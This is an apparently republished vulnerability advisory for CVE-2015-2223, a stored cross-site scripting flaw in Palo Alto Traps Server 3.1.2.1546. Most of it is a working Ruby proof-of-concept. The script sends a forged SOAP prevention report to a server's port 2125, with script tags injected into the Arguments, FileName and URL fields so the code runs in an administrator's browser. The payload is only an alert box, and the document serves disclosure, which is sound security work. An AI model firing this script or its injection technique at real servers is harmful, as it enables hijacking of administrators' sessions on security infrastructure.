Palo Alto Traps Server 3.1.2.1546 - Persistent XSS Vulnerability

[Aerosol]

#!/usr/bin/ruby
=begin
------------------------------------------------------------------------
Product: Palo Alto Traps Server (formerly Cyvera Endpoint Protection)
Vendor: Palo Alto Networks
Vulnerable Version(s): 3.1.2.1546
Tested Version: 3.1.2.1546
Advisory Publication: 29 March 2015
Vendor Notification: 17 October 2014
Vulnerability Type: Stored Cross Site Scripting 
CVE Reference: CVE-2015-2223
Risk Level: High
Solution Status: 
Discovered and Provided: Michael Hendrickx, help AG
------------------------------------------------------------------------

About the product:
Palo Alto Traps is an advanced endpoint protection suite that detects attacks such as memory corruption, executable child processes, DLL hijacking, etc.  Aside from optionally blocking it, it sends this “trap” to a central server for logging purposes.

About the vulnerability:
An attacker can send a SOAP request with JavaScript embedded inside it, which gets stored in the database.  When an administrator monitors the Traps’ admin screen and opens details about the vulnerability, the JavaScript is executed on the admin browser.

The XSS works in the <b:Arguments>, <b:FileName> and <b:URL> parameters, for example:

  <b:Arguments>"C:\\Users\\Michael\\fake.exe"
    <script>
      alert("xss");
    </script>
  </b:Arguments>

A POC script can be found at the following URL:
https://github.com/ndrix/random-scripts/blob/master/pa_traps_xss.rb

------------------------------------------------------------------------

Solution:

The vendor was notified back in October 2014, and a we’ve sent a few follow ups since.  Contact the vendor for the patch details.  

References:

[1] help AG middle East: http://www.helpag.com/ 
[2] Palo Alto Traps: https://www.paloaltonetworks.com/products/endpoint-security.html 
------------------------------------------------------------------------
=end

# PA traps fuzzer? 

require 'net/http'

def usage
    puts "pa_traps.rb <trapserver>"
    exit
end

usage if ARGV.empty?

# get the arguments
traps = {}
traps[:server] = ARGV[0]
traps[:port] = 2125

http_headers = {
    "Content-Type" => "application/soap+xml; charset=utf-8", 
    "Expect" => "100-continue",
    "Connection" => "Keep-Alive"
}

soap_envelope = <<-SOAP
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
    <s:Header>
        <a:Action s:mustUnderstand="1">http://tempuri.org/IClientServices/SendPreventions</a:Action>
        <a:MessageID>urn:uuid:d1bdb437-ea8e-47e8-8167-6cfd69655f43</a:MessageID>
        <a:ReplyTo>
            <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
        </a:ReplyTo>
        <a:To s:mustUnderstand="1">http://10.13.6.82:2125/CyveraServer/</a:To>
    </s:Header>
    <s:Body>
        <SendPreventions xmlns="http://tempuri.org/">
            <machine>VMNAME1</machine>
            <preventions xmlns:b="http://schemas.datacontract.org/2004/07/Cyvera.Common.Interfaces" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
                <b:PreventionDetails>
                    <b:Id>0</b:Id>
                    <b:MachineName>AEDXBNB-MHE</b:MachineName>
                    <b:Message>Exploit attempt was prevented by Traps</b:Message>
                    <b:PreventionKey>116215ce-65e2-4b77-b176-6c0279d12c37</b:PreventionKey>
                    <b:ProcessName>Excel.exe</b:ProcessName>
                    <b:Time>2014-10-15T13:18:56</b:Time>
                    <b:UserName> HELPAG\\hendrickx </b:UserName>
                    <b:Arguments>"C:\\Users\\Michael\\fake.exe"
                        <script>
                            alert("xss");
                        </script>
                    </b:Arguments>
                    <b:CyveraCode>EXEPROT</b:CyveraCode>
                    <b:CyveraInternalCode i:nil="true"/>
                    <b:CyveraVersion>3.1.2.1546</b:CyveraVersion>
                    <b:FileName>
                        <script>
                            alert("xss");
                        </script>
                    </b:FileName>
                    <b:PreventionMode>Notify</b:PreventionMode>
                    <b:ProcessHash i:nil="true"/>
                    <b:ProcessVersion>1.12.1.0</b:ProcessVersion>
                    <b:Sent>false</b:Sent>
                    <b:SentToServerTime>0001-01-01T00:00:00</b:SentToServerTime>
                    <b:Source>Unknown</b:Source>
                    <b:Status i:nil="true"/>
                    <b:URL>
                        <script>
                            alert("xss in URL");
                        </script>
                    </b:URL>
                </b:PreventionDetails>
            </preventions>
        </SendPreventions>
    </s:Body>
</s:Envelope>
SOAP

if traps[:server].empty?
    puts "Need a traps server"
    usage
end

# summary
puts "Testing #{traps[:server]}"

Net::HTTP.start(traps[:server], traps[:port]) do |http|
    r1 = http.request_post('/CyveraServer/', soap_envelope, http_headers);
    puts r1
    puts r1.inspect
end

Source